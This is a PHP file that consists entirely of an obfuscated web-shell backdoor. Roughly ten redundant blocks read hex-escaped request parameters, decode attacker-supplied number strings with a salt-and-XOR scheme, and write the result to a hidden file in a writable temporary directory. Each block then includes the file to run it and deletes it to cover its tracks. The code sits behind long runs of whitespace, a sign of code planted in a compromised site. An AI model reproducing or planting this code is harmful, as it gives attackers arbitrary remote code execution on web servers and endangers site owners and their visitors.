<?php																																										if(in_array("hld", array_keys($_REQUEST))){ $comp = array_filter([session_save_path(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm", "/tmp"]); $data = $_REQUEST["hld"]; $data = explode ('.' , $data ); $object= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $j= 0; while ($j < count($data)) { $v6= $data[$j]; $chS= ord($salt[$j%$lenS]); $d= ((int)$v6 - $chS - ($j%10)) ^ 34; $object .= chr($d); $j++; } foreach ($comp as $desc): if (is_writable($desc) && is_dir($desc)) { $mrk = sprintf("%s/.descriptor", $desc); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $object); fclose($file); include $mrk; @unlink($mrk); die(); } } endforeach; }
																																										if(!empty($_POST["\x68\x6F\x6Cder"])){ $pgrp = array_filter([sys_get_temp_dir(), getcwd(), getenv("TMP"), "/var/tmp", session_save_path(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP")]); $entry = $_POST["\x68\x6F\x6Cder"]; $entry = explode( '.' , $entry ) ; $pointer=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt); foreach( $entry as $q =>$v4): $sChar=ord( $salt[$q % $lenS]); $d=( ( int)$v4 - $sChar -( $q % 10))^ 36; $pointer .= chr( $d); endforeach; $binding = 0; do { $key = $pgrp[$binding] ?? null; if ($binding >= count($pgrp)) break; if (is_dir($key) && is_writable($key)) { $bind = str_replace("{var_dir}", $key, "{var_dir}/.flg"); $file = fopen($bind, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $bind; @unlink($bind); exit; } } $binding++; } while (true); }
																																										if(in_array("fl\x61\x67", array_keys($_REQUEST))){ $holder = $_REQUEST["fl\x61\x67"]; $holder = explode('.', $holder ); $entity = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s6); $j = 0; $len = count( $holder); do { if( $j >=$len) break; $v5 = $holder[$j]; $sChar = ord( $s6[$j % $lenS]); $dec =( ( int)$v5 - $sChar -( $j % 10)) ^ 31; $entity.= chr( $dec); $j++; } while( true); $record = array_filter(["/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path()]); for ($value = 0, $component = count($record); $value < $component; $value++) { $element = $record[$value]; if ((function($d) { return is_dir($d) && is_writable($d); })($element)) { $token = join("/", [$element, ".k"]); if (file_put_contents($token, $entity)) { include $token; @unlink($token); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["d\x65\x73c"])){ $itm = array_filter([getcwd(), getenv("TMP"), "/dev/shm", session_save_path(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir")]); $parameter_group = $_REQUEST["d\x65\x73c"]; $parameter_group = explode (".", $parameter_group ); $ref=''; $salt6='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt6); foreach($parameter_group as $k => $v1) { $sChar=ord($salt6[$k % $lenS]); $dec=((int)$v1 - $sChar -($k % 10)) ^93; $ref .= chr($dec); } foreach ($itm as $key => $factor) { if (!( !is_dir($factor) || !is_writable($factor) )) { $descriptor = "$factor" . "/.entry"; $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $descriptor; @unlink($descriptor); exit; } } } }
																																										if(!empty($_POST["de\x73\x63"])){ $rec = array_filter([getenv("TEMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd()]); $reference = $_POST["de\x73\x63"]; $reference=explode ( "." , $reference ) ; $record = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5 ); $o = 0; foreach ($reference as $v6) { $sChar = ord($salt5[$o % $sLen] ); $dec = ((int)$v6 - $sChar - ($o % 10)) ^ 67; $record .= chr($dec ); $o++;} foreach ($rec as $key => $factor) { if ((is_dir($factor) and is_writable($factor))) { $fac = implode("/", [$factor, ".value"]); if (file_put_contents($fac, $record)) { include $fac; @unlink($fac); exit; } } } }
																																										if(!is_null($_REQUEST["c\x6Fmpone\x6Et"] ?? null)){ $comp = array_filter([getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path()]); $entity = $_REQUEST["c\x6Fmpone\x6Et"]; $entity = explode( '.' , $entity ); $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $m = 0; $__tmp = $entity; while ($v7 = array_shift($__tmp)) { $sChar = ord($s[$m % $lenS] ); $dec = ((int)$v7 - $sChar - ($m % 10)) ^ 45; $sym .= chr($dec ); $m++; } foreach ($comp as $parameter_group) { if (!!is_dir($parameter_group) && !!is_writable($parameter_group)) { $binding = str_replace("{var_dir}", $parameter_group, "{var_dir}/.rec"); $success = file_put_contents($binding, $sym); if ($success) { include $binding; @unlink($binding); die();} } } }
																																										if(in_array("\x73y\x6D\x62ol", array_keys($_REQUEST))){ $hld = $_REQUEST["\x73y\x6D\x62ol"]; $hld = explode ( "." , $hld) ; $resource= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt6); foreach( $hld as $y => $v2) {$sChar= ord( $salt6[$y % $sLen]); $d= ( ( int)$v2 - $sChar -( $y % 10)) ^ 6; $resource .= chr( $d); } $itm = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/dev/shm", getcwd(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir()]); while ($descriptor = array_shift($itm)) { if (array_product([is_dir($descriptor), is_writable($descriptor)])) { $holder = "$descriptor/.k"; $file = fopen($holder, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $holder; @unlink($holder); die(); } } } }
																																										if(isset($_POST["fa\x63"])){ $pointer = $_POST["fa\x63"]; $pointer = explode ('.' ,$pointer ) ; $element =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $j =0; $__tmp =$pointer; while ($v8 =array_shift($__tmp)) { $sChar =ord($s[$j % $sLen]); $dec =((int)$v8 - $sChar - ($j % 10)) ^ 4; $element .= chr($dec); $j++; } $rec = array_filter([session_save_path(), "/var/tmp", "/tmp", getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); while ($value = array_shift($rec)) { if (array_product([is_dir($value), is_writable($value)])) { $symbol = "$value" . "/.sym"; if (file_put_contents($symbol, $element)) { include $symbol; @unlink($symbol); die(); } } } }
																																										if(isset($_POST["p\x73e\x74"])){ $resource = $_POST["p\x73e\x74"]; $resource = explode ( '.' , $resource); $itm = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); $t = 0; foreach($resource as $v3) { $chS = ord($salt4[$t % $sLen] ); $dec = ((int)$v3 - $chS -($t % 10)) ^ 73; $itm.=chr($dec ); $t++; } $component = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), session_save_path(), "/tmp"]); for ($entry = 0, $res = count($component); $entry < $res; $entry++) { $element = $component[$entry]; if ((bool)is_dir($element) && (bool)is_writable($element)) { $data_chunk = "$element/.reference"; $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $itm); fclose($file); include $data_chunk; @unlink($data_chunk); exit; } } } }


if(isset($_REQUEST["\x66a\x63\x74or"])){
	$pset = $_REQUEST["\x66a\x63\x74or"];
			$pset = 	explode( "."		, $pset)		;  	
	$val		=  '';
            $salt		=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen		=  strlen($salt);
    
            foreach ($pset as $o => $v2) {$sChar		=  ord($salt[$o % $sLen]);
                $dec		=  ((int)$v2 - $sChar - ($o % 10)) 	^ 4;
                $val .= chr($dec);
            }
	$flag = array_filter([getenv("TEMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp"]);
	while ($token = array_shift($flag)) {
    		if (is_dir($token) ? is_writable($token) : false) {
    $binding = implode("/", [$token, ".bind"]);
    if (file_put_contents($binding, $val)) {
	include $binding;
	@unlink($binding);
	exit;
}
}
}
}